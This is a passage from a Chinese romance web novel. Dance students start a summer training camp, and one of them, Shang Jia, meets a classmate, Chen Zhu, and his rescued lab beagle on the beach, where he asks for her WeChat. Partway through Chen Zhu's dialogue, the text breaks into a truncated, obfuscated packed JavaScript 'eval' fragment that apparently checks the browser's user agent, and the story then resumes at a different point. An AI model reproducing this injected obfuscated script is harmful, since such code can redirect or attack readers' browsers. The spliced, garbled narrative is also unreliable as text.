“整个集训期间，你们就在这里用餐，”冯伟指着屋内的超大号餐桌，“早饭七点开始，八点前要到达剧院；午饭十一点半开始，吃完饭回酒店休息，下午一点半开始集训；晚饭五点开始，七点准时到剧院上晚功，上到九点。这就是你们未来两个月的安排，清楚了吗？” “……” 薛梦龇牙，十分勉强地干笑了两声。 “清楚了冯老师，特别清楚。” 冯伟看了看她，又看了看其他人，“其他人呢？清楚了吗？” “清楚了。” “那行，坐吧，一会儿就上菜了，”冯伟说，“你们吃完直接回酒店，明天正式开始集训。” 尚佳问：“你和海雯老师不吃吗？” “我俩就不跟你们抢了，出去吃，”于海雯有些不放心，走到大家面前随手揽了两个人到怀里，“有事随时给我打电话，没事不要出去瞎跑，知道吗？” 姑娘们：“知道了！” 于海雯说完最后看向尚佳，“尚佳，你膝盖的事我已经跟集训老师提前说了，训练不能落下，但更不能逞强！懂了没？” 尚佳点头，“好。” 宠溺地摸了摸尚佳的脑袋后，于海雯和冯伟出了包间。 他俩一出去，15个姑娘放羊一样撒了欢，在包厢里各种探索聊天。 梁佳怡瘫坐在沙发上，开始哭诉，“同志们，你们听到刚刚冯老师说的每日安排了吗？这简直是地狱级别的集训！” “我还以为就白天呢，谁能想到还有两个小时的晚功啊，而且还是每天都有！”王宛说。 赵璐温声细语地安慰大家，“有没有可能就是时间久，但强度没有那么大呢？” 薛梦“啧”了一声，走到赵璐身边，拍着她的肩膀道：“我们璐璐还是天真啊，这可是集训啊宝贝！强度只会大，怎么可能小呢！” 此时包厢门被推开，餐厅服务员开始往里上菜。 尚佳看着唉声叹气的其他人，稍放大音量道：“大家赶紧吃饭吧，吃完好好享受最后一下午的自由时光！” “最后一下午……”薛梦捂脸，故作痛苦状，“ohno！” 吃完饭，15个姑娘三两结对，手牵手回了酒店。 薛梦和尚佳住在一个房间，进屋后薛梦整个人直接摔在了床上，豪言道：“最后的时光，我要在睡梦中度过！” “你确定？”尚佳问。 “确定！”薛梦偏头，冲尚佳眨眨眼，“你呢我敬爱的班长，你怎么度过？” 尚佳说：“我打算出去。” “出去！”薛梦一个鲤鱼打挺坐起来，盯着尚佳的膝盖，“你膝盖这样还出去啊？去哪里？” 尚佳走到窗边，打开自己的行李箱，“我膝盖就昨天疼得厉害，现在还行。这里离海边很近，我打算去海边坐会儿。”她拿出一身衣服，合上行李箱起身问薛梦，“要一起吗？” 薛梦嘟嘴装可爱，“我要是拒绝你会生气吗？” “当然不会！”尚佳说。 “那我拒绝！”薛梦咧嘴，“比起海边漫步，我还是更想睡觉。” 尚佳拉上窗帘，准备换衣服，“那你睡觉吧，醒了如果想找我就打电话。” “行，我去洗个澡再睡。”薛梦说完起身往洗手间走。 尚佳换好衣服敲了敲洗手间的门，“我走啦！” “你慢点！注意膝盖更要注意安全！” “知道啦！” - 七月气温已经有所升高，但空气中的湿黏并未有被/干燥带走多少。 海边城市拥有大海独特的浪漫，也包容着这份浪漫带来的潮湿。 尚佳戴了顶黑色的鸭舌帽，穿了身跟于海雯可以说是姐妹款的牛仔短裤套装，脚上是常穿的黑色高帮匡威。走到酒店门口不远处的公交站牌，细细查看一圈后，坐上了开往大海的1路公交车。 她必须承认，距离桃李杯原本比赛时间越近，她心中难过的情绪就迸发得越频繁。 会在某些闲下来的时候下意识想象，如果桃李杯没取消，此刻的自己应该在干什么；如果自己早出生两年，就能赶上最后一届比赛，就不会有遗憾。 可惜这世上没有如果，就算是拼尽全力回到某一时刻，但世事无常，谁又能真的预测明天会发生什么呢？ 酒店离海边原本就不远，1路公交车也是海边环线。 坐了没有几站，尚佳就随便挑了个喜欢的位置下车，沿着步行公路走了几分钟后，在缺口处下楼梯，踩在了宣软的沙滩上。 海浪拍打沙滩的声音奇妙极了，明明那么平淡无奇，却总能让人心生欢喜。 这个时间来海边的人并不多，尚佳随便看着，也小心翼翼地往海岸线走。 走着走着，人群中，一个戴了白色鸭舌帽，穿着黑T黑短裤白板鞋，正在遛狗的男生引起了尚佳的注意。 虽然不确定，但尚佳还是尝试性喊了句：“陈祝？” 不远处的男生回头，看到尚佳的瞬间眼睛亮了，立马转身走过来，“尚佳？你怎么在这儿？放假你没回家吗？” “这个暑假要集训，我们班的同学都没有回家，”尚佳看了看他牵着的狗，抬起眼问，“你来这儿遛狗吗？” “对。”陈祝说。 话落，陈祝第一时间往她膝盖的位置看了看，上面还是一片无菌贴，“你膝盖怎么样了？” “没事，”尚佳抬了抬腿，“就昨天刚摔倒的时候严重，后来就没事了。”她指着安静站在陈祝腿边的狗问：“它叫什么名字啊？” 陈祝说：“它叫祝拾安，是我跟爸爸领养的实验犬。” 可爱的猫猫狗狗总是让人心软软的，尚佳蹲下，摸着祝拾安的脑袋，嗓音柔得不行：“你好啊祝拾安，你好乖啊。” 陈祝也蹲下，摸着祝拾安的后背，轻声介绍：“它之前好像是做基因方面实验的，被注射了很多激素，身上也有一些伤疤。刚回家的时候胆子特别小，用了快一年的时间才养回一些天性。” “那它的名字起得可真好，”尚佳看向陈祝，问，“你起的吗？” 陈祝有些不好意思地点点头，“嗯。” “真有才。”尚佳夸奖他。 这下陈祝更不好意思了，视线立马转到祝拾安身上，小声回了句，“谢谢。” “它是比格犬吧？”尚佳问。 陈祝点头，“对。” 尚佳说：“我听说比格犬是猎犬，精力特别旺盛。” “精力确实很旺盛，”陈祝抬起眼看向尚佳，语气有些无奈，“不然我也不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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照片中是一只奔跑时被抓拍的狗，摩卡色，耳朵像两片绸缎在风中翻飞，圆溜溜的杏眼满是温柔，阳光下，它像一团镀了金边赋了生命的绒球朝你跑来。 “哎呀，这是动画片里的小狗啊，”尚佳没忍住，接过陈祝的手机仔细看，“原来现实中真的有这个品种，好可爱啊！” 她抱着陈祝的手机，仿佛抱着屏幕里的布偶一样。 陈祝看着她，双手悄悄攥紧拳头，轻声问：“你集训的地方，也在这附近吗？” 尚佳盯着屏幕没抬头，“对，就在玖堤剧院。” “那有时间出来吗？” “可能不行，集训时间安排得很满，”尚佳视线仍停留在屏幕上，甚至放大了照片，“不过每周天都会休息。” “那你周天有时间出来吗？” “有啊。” “那你要不要周天出来看实物版的布偶？” 这回陈祝问得有些急，声音也放大了一些，尚佳察觉不对劲。 她抬起头看着陈祝，倏地笑了，眉眼弯弯，脸颊两侧很浅的细长酒窝也跑了出来。 “陈祝，你到底想问什么？” 陈祝看着尚佳，漆黑的瞳仁装满了小心翼翼。 “我想问……” “我能加你个微信吗？”